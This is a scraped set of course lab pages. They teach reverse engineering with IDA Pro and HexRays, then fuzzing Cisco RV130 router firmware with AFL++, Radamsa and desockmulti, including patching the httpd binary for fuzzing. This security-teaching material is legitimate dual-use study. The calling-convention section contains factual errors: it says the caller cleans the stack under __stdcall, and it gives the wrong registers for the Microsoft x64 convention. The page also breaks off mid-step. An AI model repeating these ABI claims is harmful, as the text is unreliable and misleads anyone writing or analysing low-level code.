As mentioned in Section 5.1.2, the assembly process also has information loss. Although we can easily parse and restore the content of a given instruction, we must know which data is machine code before we can parse it accordingly. The von Neumann architecture blurs the boundary of distinction between code and data, and jump tables, pools of constants (ARMs), ordinary constant data, and even malicious interference data may be interspersed in code sections. Therefore, simply and directly parsing instructions down one by one in succession is often problematic. We need to know the correct starting position of the instruction (e.g., label, which is used to indicate a location of the program for jumping and addressing) to guide the disassembly tool to parse the code correctly.
As mentioned above, the label information is lost during the assembly process. Because the label is used to identify the jump position, it determines where the program is likely to be executed when it is executed, i.e., where the assembly statement starts. Therefore, restoring the correct label information is essential to correctly restore the program execution flow.
In spite of the missing information, we can still successfully restore the program flow by using some algorithms. Two known algorithms are described below: the linear scan disassembly algorithm and the recursive descent disassembly algorithm.
The linear scan disassembly algorithm is simple and brute-force, parsing instructions one after another directly from the beginning of the code segment until the end. The disadvantage is that once data is inserted into the segment, all subsequent disassembly results are wrong and useless.
Instead of simply parsing the instructions and displaying them, the recursive descent disassembly algorithm is a new algorithm created after discovering the problems with the linear scan disassembly algorithm, which tries to speculate how the program will be executed after each instruction is executed. For example, a normal instruction will execute directly to the next one after execution, an unconditional jump instruction will immediately jump to the target location, a function call instruction will temporarily jump out and return to continue execution, a return instruction will terminate the current execution process, and a conditional jump instruction may split into two paths that go to different locations under different conditions. The engine first matches some known patterns (patterns) to the starting position, then traces the execution of the program one by one according to the execution pattern of the instructions, and finally disassembles the program completely.
4. Calling convention
As the size of the software increases, the number of developers continues to increase, the relationship between functions synchronization becomes more and more complex, if each developer uses different rules to pass function parameters, the program will often be a variety of unbelievable errors, the program maintenance costs will become very large. For this reason, after the advent of compilers, some conventions, called calling conventions, were created for compilers to specify the passing of arguments between functions. The common calling conventions are as follows.
(1) Calling convention for x86 32-bit architecture
\u2756 __cdecl: parameters are pressed onto the stack in order from right to left, and when the call is finished, the caller is responsible for cleaning up these pressed parameters and placing the return value in EAX. The vast majority of C programs for x86 platforms use this convention.
\u2756 __stdcall: The arguments are also pressed onto the stack from right to left, and the caller is responsible for cleaning up the pressed arguments after the call, with the return value also placed in EAX.
\u2756 __thiscall: A calling convention optimized specifically for class methods, which places the this pointer of the class method in the ECX register and then presses the rest of the arguments onto the stack.
\u2756\\ __fastcall: A calling convention made for speeding up calls by placing the 1st argument in ECX, placing the 2nd argument in EDX, and then pressing the subsequent arguments onto the stack from right to left.
(2) Calling convention for x86 64-bit architecture
\u2756 Microsoft x64 bit (x86-64) calling convention: used on Windows, the first 4 parameters are put into the 4 registers RDI, RSI, RDX, RCX in turn, and then the remaining parameters are pressed into the stack from right to left.
\u2756 SystemV x64 calling convention: used on Linux, MacOS, two more registers than Microsoft's version, use the 6 registers RDI, RSI, RDX, RCX, R8, R9 to pass the first 6 parameters, and press the rest on the stack from right to left.
5. Local variables
When writing programs, programmers often use local variables. But in assembly there are only registers, stacks, writable segments and heaps, where should the local variables of a function exist? It is important to note that local variables are \"volatile\": once the function returns, all local variables become invalid. Given this property, local variables are stored on the stack, and each time a function is called, the program allocates a section of space on the stack to store the local variables.
Each function, when called, creates such a region for local variables, a region for storing return addresses, and a region for arguments, see Figure 5-1-2. The program calls the function one layer deeper, and each function's own region is stacked on the stack one layer at a time.
People call this area of each function itself a frame, and because these frames are on the stack, they are also called stack frames. However, the memory area of the stack is not necessarily fixed, and the location of the stack frames can vary with each call's path, so how can local variables be referenced correctly?
While the contents of the stack will always keep changing as it goes in and out of the stack, the offset of each local variable in a function relative to the stack frame of that function is fixed. So a register can be introduced to specifically store the location of the current stack frame, i.e., ebp, called the frame pointer. The program assigns ebp to a location in the middle of the stack frame during the function initialization phase, so that all local variables can be referenced with ebp. Since the parent function on the upper level also has to use ebp, it is necessary to save ebp at the beginning of the function and then assign ebp to the value of its own stack frame, such a flow is the classic combination in assembly code.
The stack frame of each function now consists of four parts: local variables, the value of the parent stack frame, the return address, and the parameters. It can be seen that ebp, after initialization, actually points to the location where the address of the parent stack frame is stored. Therefore, *ebp forms a chain table representing a chain of function calls at one level.
With the development of compilation technology, the compiler can also refer to local variables by tracking the location of the stack at the time of each instruction execution, thus directly crossing over ebp and using the stack pointer esp instead. This saves the time needed to save ebp each time and adds a general-purpose register, thus improving program performance.
So now there are two kinds of functions: those with frame pointers, and those optimized without frame pointers. Modern analysis tools (e.g. IDA Pro, etc.) will use advanced stack pointer tracing methods to target these two types of functions so that local variables are handled correctly.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#introduction-to-common-tools","title":"Introduction to common tools","text":"This section introduces the tools commonly used in software reverse engineering, the specific use of tools will be described in subsequent sections.
1. IDA Pro
IDA (Interactive DisAssembler) Pro (hereinafter referred to as IDA) is a powerful executable analysis tool, including but not limited to x86/x64, ARM, MIPS and other architectures, PE, ELF and other formats of executable files for static analysis and dynamic debugging. IDA integrated Hex-Rays Decompiler, which provides decompiling functions from assembly language to C pseudocode, can greatly reduce the workload when analyzing the program, its interface is shown in Figure 5-1-3 and Figure 5-1-4.
2. OllyDbg and x64dbg
OllyDbg is an excellent debugger for Windows 32-bit environment and its most powerful feature is its extensibility. Many developers have developed plug-ins for it with various functions that can bypass many software protection measures. However, OllyDbg is no longer available in the 64-bit environment, and many people have therefore turned to x64dbg.
The interfaces of OllyDbg and x64dbg are shown in Figure 5-1-5 and Figure 5-1-6.
3. GNU Binary Utilities
The GNU Binary Utilities (binutils) is a chain of tools provided by GNU for binary file analysis. the tools included are shown in Table 5-1-4. Figure 5-1-7 and Figure 5-1-8 show examples of simple applications of the tools in binutils.
4. GDB
GDB (GNU Debugger) is a command-line debugger provided by GNU, with powerful debugging functions and source-level debugging support for programs containing debugging symbols, as well as support for writing extensions using the Python language, and the extension plug-ins generally used are gdb-peda, gef or pwndbg. Figure 5-1-10 shows the command line interface when using the gef plugin.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#static-analysis","title":"Static Analysis","text":"The most basic method of reverse engineering is static analysis, i.e., instead of running the binary program, various information such as machine instructions in the program files are analyzed directly. At present, the most commonly used tool for static analysis is IDA Pro. This section introduces the general method of static analysis based on the use of IDA Pro.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#getting-started-with-lda","title":"Getting Started with lDA","text":"The code file required for this section is 1-helloworld.
1. open the file
IDA Pro is one of the industry's most mature and advanced disassembly tools, using a recursive descent disassembly algorithm, this section will initially introduce the use of IDA Pro.
IDA's interface is very simple, after installation will pop up the license agreement (License) window, follow the interface prompts to enter the Quick Start interface, see Figure 5-2-1.
In the interface, click the \"New\" button, and in the pop-up dialog box to select the file to open, you can also click the \"Go\" button, and then drag and drop the file into the open interface, or by clicking the \" Previous\" button, double-click the list item, etc. to quickly open the previously opened file.
Note that you need to select the correct architecture version (32bit/64bit) before opening the file. Users can use tools such as file to view the architecture information of the file, but a more convenient solution is to open a random architecture of IDA, and then you can know the architecture information of the file when loading, see Figure 5-2-2, IDA shows that the file is an x86-64 architecture ELF64 file, so switch to the 64bit version of IDA to open again, after opening the pop-up will be \"Load a new file\" dialog box.
2. Load a file
The options in the \"Load a new file\" dialog box are mainly for advanced users, beginners can use the default settings, do not need to change, click the \"OK\" button, load the file into the IDA. Click the \"No\" button to enter the normal disassembly interface. At this point, IDA will generate a database (IDB) for the file, the entire file required content into it, see Figure 5-2-3. later analysis will no longer need to access the input file, the various changes to the database will also be independent of the input file.
The interface in Figure 5-2-3 is divided into several parts, which are described below.
\u2756 Navigation bar: Shows the distribution of different types of data (ordinary functions, code of undefined functions, data, undefined, etc.) of the program.
\u2756 Main window of disassembly: Displays the result of disassembly, control flow diagram, etc., which can be dragged, selected, etc.
\u2756 Function window: displays all function names and addresses (drag the scroll bar below to see them), and can be filtered by Ctrl+F key combination.
\u2756 Output window: display the log of IDA during running, you can also enter commands in the input box below and execute them.
\u2756 Status Indicator: Showing as \"AU: idle\" means IDA has finished the automated analysis of the program.
In the disassembly window, use the right-click menu or the shortcut key space to switch between control flow diagram and text interface disassembly, see Figure 5-2-4.
3. Data Type Operation
One of the highlights of IDA is that the user can freely control the flow of disassembly through interface interaction. In the process of loading the file, IDA has done its best to automatically define the type of a large number of locations for the user, such as IDA correctly labeled most of the data in the code segment as code type and disassembled it, and labeled some of the locations in the special segment as 8-byte integer qword. however, IDA's ability is limited and generally does not correctly label all data types, and the user can correct the problems with IDA by correctly defining the type of a 1-byte or segment area for better disassembly work.
Lower versions of IDA do not have an undo function, so you need to be careful before operating and to master the opposite operation corresponding to these operations.
The user can distinguish the type of data in a location by the color of the address. The location marked as code, its address will be shown in black; the location marked as data, gray display; undefined data type location will be shown in yellow, black box location that is the different color address, see Figure 5-2-5.
The following are some of the shortcut keys for the defined data types. When using these shortcut keys, you need to have the focus (cursor) on the corresponding line in order for them to take effect.
\u2756 U (Undefine) key: This is to cancel the existing data type definition in a place, and a confirmation dialog box will pop up.
\u2756 D (Data) key: i.e., make a certain position into data. IDA to prevent misuse, if the operation of defining data will affect the location of the existing data type, IDA will pop up a confirmation dialog box; if the operation of location and its vicinity are completely Undefined, the confirmation dialog box will not pop up.
\u2756 C (Code) key: i.e., make a location into a command. The timing of the confirmation dialog pop-up is also similar to the D key. After being defined as a command, IDA will automatically use this as the starting position for recursive descending disassembly.
Above are the basic shortcuts for defining data. To cope with the increasing complexity of data types, IDA also has various built-in data types, such as arrays, strings, etc.
\u2756 A (ASCII) key: It will define a string type ending with \"\\0\" starting from this position, see Figure 5-2-6.
\u2756 * key: Define this as an array, and then a dialog box will pop up to set the properties of the array.
\u2756 O (Offset) key: Define this as an address offset, see Figure 5-2-7.
4. Function Operation
In fact, disassembly is not completely continuous, but rather a patchwork of scattered individual functions. Each function has local variables, calling conventions and other information, and control flow diagrams can only be generated and displayed in terms of functions, so it is also very important to define functions correctly. IDA also has operations for handling functions.
\u2756 Delete a function: After selecting a function in the function window, press Delete.
\u2756 Define a function: After selecting the corresponding line in the disassembly window, press P.
\u2756 Modify function parameters: Select and press the Ctrl+E key combination in the function window, or press Alt+P key combination inside the function in the disassembly window.
After defining the function, IDA can perform many function-level analyses, such as call convention analysis, stack variable analysis, function call parameter analysis, etc. These analyses are of direct and great help to restore the high-level semantics of disassembly.
5. Navigation
Although it is possible to switch between different functions by mouse clicks, as the size of the program increases, it seems unrealistic to use this way to locate them. \u00ee IDA has the function of navigation history, similar to Explorer and browser history, which allows you to go back or forward to a certain browsing place.
\u2756 Go back to the previous location: shortcut Esc.
\u2756 Go forward to the next location: shortcut Ctrl+Enter.
\u2756 Jump to a specific location: shortcut G, then you can enter the address/already defined name.
\u2756 Jump to a particular zone: shortcut Ctrl+S, and then you can select the zone.
6. Type manipulation
IDA has developed a type analysis system to handle various data types (function declarations, variable declarations, structure declarations, etc.) of C/C++ language and allows users to specify them freely. This definitely makes the reduction of disassembly more accurate. Select the variable, function and press Y, \"Please enter the type declaration\" dialog box, enter the correct C type, IDA can parse and automatically apply the type.
7. IDA mode of operation
IDA shortcut key design has a certain pattern, so we can strengthen the memory of the shortcut key, so that the reverse speed faster and more comfortable.
Here are some operation patterns and learning techniques summarized in the usual practice.
\u2756 Various operations in IDA's disassembly window will have different functions when selected and when unselected. For example, the operation corresponding to the shortcut key C can specify the scan area for recursive descending disassembly when the disassembly window is selected.
\u2756 Some of the shortcut keys in IDA's disassembly window have different functions when used multiple times. For example, the shortcut key O will resume the first operation when used a second time on the same location.
\u2756 IDA's right-click shortcut menu will be labeled with various shortcut keys.
\u2756 IDA's dialog box buttons can be replaced by mouse clicks by pressing their initials (e.g. the \"Yes\" button can be replaced by mouse clicks by pressing the Y key).
We can master these patterns to quickly learn IDA shortcuts, and basically do not need to press the control keys (Ctrl, Alt, Shift) shortcut features make IDA operation more interesting.
8. IDAPython
IDAPython is a Python environment built into IDA, you can perform a variety of database operations through the interface, it can now execute most of the C++ functions in the IDA SDK and all IDC functions, it can be said to have both the convenience of IDC and the power of the C++SDK.
Press Alt+F7 key combination, or select \"File\u2192Script file\" menu command, you can execute Python script files; output window also has a Python Console box, you can temporarily execute Python statements; press Shift+F2 key combination, or Select the \"File\u2192Script command\" menu command to open the script panel, and change \"Scripting language\" to \"Python \", you can get a simple editor, see Figure 5-2-8.
9 IDA's other functions
IDA's menu bar \"View\u2192Open subviews\" can open various types of windows, see Figure 5-2-9.
Strings window: press Shift+F12 to open it, see Figure 5-2-10, you can identify the strings in the program, double-click to locate the target string in the disassembly window.
Hexadecimal window: Opened by default, you can press F2 to modify the data in the database, and press F2 again to apply the changes after modification.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#getting-started-with-hexrays-decompiler","title":"Getting Started with HexRays Decompiler","text":"The basic operations of IDA introduced in section 5.2.1 are to allow IDA to correctly identify the data types and functions of a location. These operations partially restore the information loss caused by the linker and assembler mentioned in the executable (see section 2.4.7). The decompiler presented in this section will try to restore the information loss caused by the compiler and continue to restore the functions composed of these assembly instructions to a read-friendly form. Therefore, getting the decompiler to work correctly requires the correct definition of data types and the correct identification of functions.
This section introduces HexRays Decompiler (HexRays for short), the world's most advanced and sophisticated decompiler that is publicly available. HexRays runs as a plug-in to IDA and is developed by the same company as IDA and has a strong connection to IDA. hexRays makes full use of the function local variables and data types determined by IDA, and generates C-like pseudocode after optimization. Users can browse the generated pseudocode, add comments, rename identifiers, modify variable types, switch the data display format, etc.
1. generate pseudocode
To use this plug-in, you need to let it generate pseudocode. The operation required to generate pseudocode is very simple, just locate the target function in the disassembly window and press the F5 key. Once the plug-in is running, a window will open showing the decompiled pseudocode, see Figure 5-2-11. Selecting the list of functions on the left side allows you to switch to a different function without returning to the disassembly window.
When the cursor moves to identifiers, keywords, and constants, the same content in other positions will be highlighted for easy viewing and operation.
2. Pseudocode Composition
The pseudocode generated by HexRays has a certain structure. After decompiling each function, the first line is the prototype of the function, then the declaration area of local variables, and finally the statements of the function.
The upper part of this is the variable declaration area. Sometimes the area for larger functions can be too long to read and can be collapsed by clicking \"Collapse declaration\".
Note that the comments following each local variable actually represent the location of that variable. This information will make it easier to understand the behavior of the corresponding assembly code.
In addition, most of the variable names in the pseudocode are automatically generated and may vary from machine to machine or from version to version of IDA.
3. Modify Identifiers
Looking at the IDA generated pseudocode 2-simpleCrackme.c (see Figure 5-2-12), you can see that HexRays is very powerful and has automatically named many variables. However, the names of these variables have no real meaning, and as the size of the function becomes larger, meaningless variable names will seriously affect the analysis efficiency. Therefore, HexRays provides users with the ability to change the name of an identifier: move the cursor to the identifier and press N to bring up the Change Name dialog box, enter a legal name in the input box, and click the OK button. The modified pseudo-code is easier to read and analyze.
Note: IDA generally allows the use of identifiers in line with the C language syntax, but will be used as a reservation of certain prefixes, in the manual specification of the name, such a prefix can not be used, please readers are prompted to change the name after being prompted for errors.
4. switch the data display format
After renaming, the 2-simpleCrackme.c pseudocode has been restored to be similar to the source code (see Figure 5-2-12). However, many constants are not displayed in the correct format, for example, 0x66 in the source code becomes decimal number 102, and 'a' and 'A' are converted to their ASCII counterparts of decimal numbers 97 and 65.
HexRays is not powerful enough to automatically label these constants, but HexRays provides the ability to display constants into various formats. Move the cursor over a constant and right-click to select the corresponding format in the pop-up shortcut menu, see Figure 5-2-13.
\u2756 Hexadecimal: Hexadecimal display, with the shortcut key H, can convert various other display formats back to numbers.
\u2756 Octal: Octal display.
\u2756 Char: Converts constants to a format shaped like 'A', the shortcut key is R.
\u2756 Enum: Converts a constant to a value in an enumeration, the shortcut key is M.
\u2756 Invert sign: convert a constant to a negative number by its complement, the shortcut key is _.
\u2756 Bitwise negate: Invert the constant by bit, like ~0xF0 in C language, the shortcut key is ~. After the manual operation to convert some display format, the decompiled pseudocode is more consistent with the source code, see Figure 5-2-14.
HexRays shortcuts are sometimes not triggered, try using the right-click shortcut menu when it fails.
5. Modifying Variable Types
The companion file to this section is 2-simpleCrackme_O3. After compiler optimization, the difficulty of recovering the semantics increases exponentially. Even though HexRays are extremely powerful, they often have problems in the face of complex compiler optimizations.
This section uses the executable generated by compiling with the GCC compiler with the O3 optimization switch turned on. The same source code undergoes a complex compiler optimization process and the resulting pseudocode can change quite a bit, see Figure 5-2-15.
The pseudocode converts some constants at the beginning to display format, which is the middle part of the string in the program stored as dword and qword, respectively. In fact, the original string assignment operation has become 128-bit floating-point assignment + 64-bit qword assignment + 32-bit dword assignment. HexRays thus identifies the string array as three variables: v6 of type __m128i, v7 of __int64, and v8 of int, resulting in poor readability of the pseudocode generated later.
Hint: byte-1 byte integer type, 8 bits, char, __int8.
word-2 byte integer, 16 bits, short, __int16.
dword-4-byte integer, 32 bits, int, __int32.
qword-8-byte integer, 64 bits, __int64, long long.
The variables v6, v7, v8 are actually entire arrays of strings. If the user can correctly specify the type of the variables, the accuracy and readability of decompiling will be greatly improved.
HexRays makes full use of the type analysis system of IDA introduced earlier. Press Y on the identifier of the type to be modified to bring up a dialog box to modify the type. For this program, according to the calculation, the 3 variables should actually be a char array of length 28 (16+8+4) starting with v6, so its corresponding C type declaration is char[28] (the identifier can be omitted in the type declaration).
Then move the cursor to v6, press Y, type \"char[28]\", and a confirmation dialog box will pop up whether to overwrite the subsequent variables, click the \"Yes\" button.
Rename these variables again, and you can get the readable pseudo-code, see Figure 5-2-16.
HexRays supports not only type modification of local variables, but also parameter types, function prototypes, global variable types, and so on. In fact, HexRays supports not only these simple types, but also C types such as structures and enumerations. Press Shift+F1 key combination to bring up the Local Types window, from which you can manipulate various types of C: press Insert, or right-click to bring up the Add Type dialog box, see Figure 5-2-17, from which you can enter a type that conforms to the simple syntax of C, and then IDA will parse and store the type. In addition, press Ctrl+F9 key combination or select \"File\u2192Load File\u2192Parse C header file\" menu command, you can load the C language header file.
After adding custom types, HexRays will automatically perform the corresponding parsing operations according to the types when setting variable types, such as displaying access to structures, displaying enumerations, etc.
Various cases of type recognition errors may occur during the reverse process, and we need to use our experience in C programming to set variables such as structures, normal pointers, structure pointers, and integers correctly.
In general, HexRays can increase the length of a variable by force (e.g., char[28] as mentioned above), but when changing a long variable to a short one, the alarm will often be \"Sorry, can not change variable type\" (e.g., change char[28] above to char[27]), so you need to be careful when changing a long variable to a shorter one. If you inadvertently modify the error, you can delete the function and then define the function to reset the various information of the function
6. Complete the analysis
After fine-tuning the pseudo-code to a level suitable for your reading, you can start the analysis. Obviously, this program implements the imitation projection cipher, and the method of finding the inverse is very simple, so I will not repeat it, and ask the reader to complete the decryption by himself.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/","title":"Lab 6: IoT Security and Wireless Exploitation","text":"AFL lives at https://lcamtuf.coredump.cx/afl/. It hasn't been updated in a while. While AFL still works fine, there's a new project AFL++, a fork of AFL with lots of improvements and new features. AFL++ can be found at https://aflplus.plus/ with its source on GitHub. This article will look at using AFL++ to fuzz IoT binaries.
Fuzzing works best when we have the source code of the binary in question. Unfortunately for IoT binaries, this is often not the case. AFL++ (and AFL) ships with a companion tool (afl-gcc, afl-clang, etc) that works as a drop-in replacement to gcc, clang, or any other standard build tool. The tool is used to inject instrumentation in the generated binaries while compiling the source code. The instrumented binaries can then be fuzzed using afl-fuzz.
Fuzzing closed-source applications is tricky. For fuzzing such binaries, AFL++ can use Qemu, unicorn, or Frida and are named qemu mode, unicorn mode, and Frida mode respectively. These are binary-only instrumentation modes and are not as efficient as the source code instrumentation modes. We will be using Qemu mode in this article.
In Qemu mode, AFL++ uses qemu user mode emulation to run the binary. It uses a modified version of Qemu which instruments the basic blocks as the program executes. The instrumentation information thus generated is used to generate new test cases which trigger different code paths improving code coverage. AFL++ in qemu mode can also be used to instrument foreign arch binaries (like an arm binary on an x86_64 host). This is extremely useful for fuzzing IoT firmware binaries which are usually of ARM or MIPS architecture.
An important point to note is that AFL++ and similar fuzzers (AFL, hongfuzz, radamsa[test case generator only]) only work with file inputs That is the program must only receive the fuzzed input from a file. Programs that take in input from a socket are not supported.
For fuzzing socket-based programs we can take either of the following approaches:
AFL++ can be compiled on any Linux system. Here we are using an Ubuntu 20.04 LXD container. The steps are as follows:
$ sudo apt update\n$ sudo apt install git make build-essential clang ninja-build pkg-config libglib2.0-dev libpixman-1-dev\n$ git clone https://github.com/AFLplusplus/AFLplusplus\n$ cd AFLplusplus/\n$ make all\n$ cd qemu_mode\n$ CPU_TARGET=arm ./build_qemu_support.sh\n
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-simple-iot-binaries","title":"Fuzzing simple IoT binaries","text":"We will be using a firmware for the Cisco RV130 VPN router which can be downloaded from https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.55?i=!pp. The file is named RV130X_FW_1.0.3.55.bin
After extracting the binary using binwalk the extracted file system looks like
Extracted filesystem of Cisco RV130X firmware binary
We will be looking at fuzzing the jsonparse and xmlparser1 binary in /usr/sbin/. These programs accept input from a file and are ideal for fuzzing. We don\u2019t have the source available so we have to use Qemu mode.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-xmlparser1","title":"Fuzzing xmlparser1","text":"Before fuzzing we need to know how the program accepts input. Running xmlparser1 with qemu-arm-static with the \u2013help parameter shows the usage. It accepts a filename with the -f parameter. The -d parameter stands for debugging.
We can create a test XML file and run xmlparser1.
xmlparser1 displays the parsed contents of the test.xml file. We may now proceed to fuzz. To run the fuzzer we need to give an input file that the fuzzer will use to generate further test cases. We will specify test.xml as our input file.
Create two directories input-xml and output-xml and move the test.xml file to input-xml as shown.
We can now launch afl-fuzz
$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \\\n -Q \\\n -i input-xml/ \\\n -o output-xml/ \\\n -- ./squashfs-root/usr/sbin/xmlparser1 -f @@\n
The options are explained below:
Everything after the double hyphen (--) specifies the target program to run along with its arguments. The @@ parameter stands for the filename. At runtime, AFL++ will replace the @@ parameter with the name of the input file.
The fuzzing session starts as shown below. We can press Ctrl+C anytime to exit.
In our brief test, AFL++ wasn\u2019t able to crash the application.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-jsonparse","title":"Fuzzing jsonparse","text":"Jsonparse is a similar binary but it parses JSON files instead of XML. Running the program without any arguments displays its usage.
We can create a test JSON file and run jsonparser on it.
We can use the same test.json file as input to the fuzzer. In a similar way, create two directories named input-json and output-json with test.json in directory input-json.
We can run the fuzzer as shown:
$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \\\n -Q \\\n -i input-json / \\\n -o output-json / \\\n -- ./squashfs-root/usr/sbin/jsonparser @\n
After fuzzing for a couple of minutes, there are two unique crashes already.
Let\u2019s explore the output-json directory to have a look at the files which crashed jsonparser.
The two files which triggered the crashes are in the output-json/default/crashes directory.
To cross-check, we can run jsonparser with one of the generated files.
Jsonparser indeed crashes with a segfault. From here on, the next steps are to identify the root cause of the bug and check if it's exploitable. Not all crashes are exploitable. Triaging the crash is out of the scope of this post.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-web","title":"Fuzzing web","text":"In this post, we will be looking at socketed binaries. Fuzzing binaries that communicate over the network using sockets are different from fuzzing binaries that use file-based I/O. Vanilla AFL and AFL++ don\u2019t support fuzzing socketed binaries although there have been projects such as AFLNet and AFLNW which use modified versions of AFL for the same. Here, however, we will see how to use plain AFL++ to fuzz network programs. The httpd
binary at /usr/sbin/httpd
is the web server for the firmware and can be used as a candidate for fuzzing.
We can launch httpd
with sudo
as shown. Sudo is needed to bind on port 80.
Note that qemu is started from within the www/
directory as this is where the web resources (html, css, js files) are. Although it shows a bind error, running netstat
confirms that httpd
is indeed listening on port 80.
We can open http://127.0.0.1 to cross-check that the web interface is accessible.
The web interface can also be accessed using curl
.
Using an intercepting proxy such as Burp Suite, we can view the actual HTTP requests that are being sent. Trying to log in to the dashboard with the credentials admin:123456
results in a POST request as shown.
In the image above we are running the webserver over port 8080 (rather than 80) by appending -p 8080
to the qemu command line.
From here on, the idea is to modify this base request using the fuzzer in subtle ways such that it crashes the web server.
The naive way is to send actual requests over the network. However, this would be slow. The smarter and recommended way is to make the webserver read the HTTP request data from a file. We will look at both ways.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#naive-fuzzing-using-radamsa","title":"Naive fuzzing using Radamsa","text":"Radamsa is not a fuzzer. It's a test case generator that reads in a file and modifies it in subtle ways. How to use the modified output is up to us. Here we will send the output from the file to the running web server.
# fuzz-radamsa.py\nimport socket\nimport pyradamsa\n\nbase_login_request = open(\"base-login-request.txt\", \"rb\").read()\n\nrad = pyradamsa.Radamsa()\ni = j = 0\n\nwhile True:\n # Create a modified request based on the base request\n fuzzed_request = rad.fuzz(base_login_request)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # 1 second timeout\n sock.settimeout(1)\n\n sock.connect((\"127.0.0.1\", 8080))\n\n j += 1\n print(f\"[+] Request {j} - \", end=\"\")\n\n sock.sendall(fuzzed_request)\n try:\n sock.recv(50000)\n print(\"OK\")\n except Exception as ex:\n i += 1\n open(f\"interesting/{i}.txt\", \"wb\").write(fuzzed_request)\n print(f\" {ex} -> saved to {i}.txt\")\n sock.close()\n
The code above uses Radamsa to generate modified request data using the base login request. This data is then sent over the socket to the web server running at port 8080. If the server doesn\u2019t respond within 1 second, the input is saved to a file in the interesting directory.
We can run the fuzzer as shown.
Request 3 timed out while responding and the corresponding input was saved to 1.txt. Note that a timeout is not the same as a crash. Had the server crashed on request 3, further requests wouldn\u2019t be successful. Fuzzing this way is highly inefficient, slow, and error-prone and would often lead to false positives.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-with-afl","title":"Fuzzing with AFL++","text":"As discussed before, to fuzz with AFL, the program must accept input from a file. We do not have the source code of httpd which we can modify for our purpose. Hence we have to resort to binary-level modifications, such as patching the assembly instructions and LD_PRELOAD
tricks. Using the latter we can override network functions in libc
to make them accept input from a file instead. The desockmulti project on GitHub can be used for this purpose.
Before showing how to use desockmulti, we need to make a few modifications of our own. The httpd
binary currently forks to the background using the daemon
function. We do not want this forking behavior during fuzzing.
We need to override the daemon
such that it returns 0 without forking actually. This can be done both with LD_PRELOAD or by patching the assembly instructions.
The other change that we need to make is to have httpd process exactly 1 request (unlike a typical web server that processes requests indefinitely) before quitting. This way we can know which request, if any, crashes the web server.
To close a socket, httpd
calls the close
function. There are three locations from where close is called.
Among them, we need to modify the one at 231c0
to call exit(0)
instead of close
.
To patch the instructions we will use Cutter which is a GUI for radare2. Ghidra also supports patching binaries but Cutter is better suited for this use case.
Navigating to 0x231c0
in Cutter, we come across the following disassembly.
Double-clicking on close
takes us to 0x106b4
.
The exit
function is located at 0x10b64
.
We can thus change bl close
to bl 0x10b64
to call the exit
function instead.
The instruction immediately before can be changed from mov r0, sl
to eor r0, r0
which sets register r0
to 0
to give us the following disassembly.
The net effect is that it calls exit(0)
. The other change we need to do is patch out the daemon
call at 0x22CB4
.
We can change the instruction to eor r0, r0
to make the application believe the call succeeded.
Finally, with the changes in place go to File -> Commit changes to save the modifications. Let's rename the file to httpd_patched.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#testing-patched-httpd","title":"Testing patched httpd","text":"Running httpd_patched we can see that it doesn\u2019t fork to the background.
Additionally, it quits after processing a single request as shown below.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#setting-up-desockmulti","title":"Setting up desockmulti","text":"We need to use an ARM cross-compiler to compile desockmulti. The armv7-eabihf-uclibc toolchain from bootlin works great for this purpose. We need to use a uclibc-based toolchain as the firmware binaries also use the same. Running the file command on /usr/bin/httpd points out the binary is dynamically linked to ld-uClibc.
$ file usr/sbin/httpd\nusr/sbin/httpd: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\n
Before compiling desockmulti, we have to make a tiny change to its source.
$ git diff\ndiff --git a/desockmulti.c b/desockmulti.c\nindex 719e6ac..6bcc223 100644\n--- a/desockmulti.c\n+++ b/desockmulti.c\n@@ -450,7 +450,7 @@ int socket(int domain, int type, int protocol)\n pthread_mutex_unlock(&mutex);\n }\n\n- setup_timer();\n+ //setup_timer();\n\n if ((fd = original_socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {\n perror(\"socket error\");\n
In desockmulti.c there\u2019s a call to a setup_timer
function that needs to be commented out as shown in the diff above.
We can then run make specifying the path to the arm-linux-gcc compiler in the CC
environment variable.
$ make CC=~/armv7-eabihf--uclibc--stable-2020.08-1/bin/arm-linux-gcc \n
The generated file desockmulti.so can be copied to the squashfs-root directory.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#testing-desockmulti","title":"Testing desockmulti","text":"To test that desockmulti is indeed working as expected we can debug httpd with gdb-multiarch. First, we need to add a dependency to the library libpthread.so.0 using patchelf. Patchelf can be installed using apt. This is necessary as desockmulti uses threads while httpd doesn\u2019t link to libpthread by default.
$ patchelf --add-needed ./lib/libpthread.so.0 ./usr/sbin/httpd_patched\n
In terminal 1, run the binary in qemu specifying the -g parameter.
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ sudo qemu-arm-static -g 5555 -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched\n-p 8080 < ../../base-login-request.txt\n
The path to desockmulti.so is specified in the LD_PRELOAD
environment variable. The other variable USE_RAW_FORMAT
is specific to desockmulti.
In another terminal, we can start gdb-multiarch, set a breakpoint on fprintf
, and attach it to port 5555.
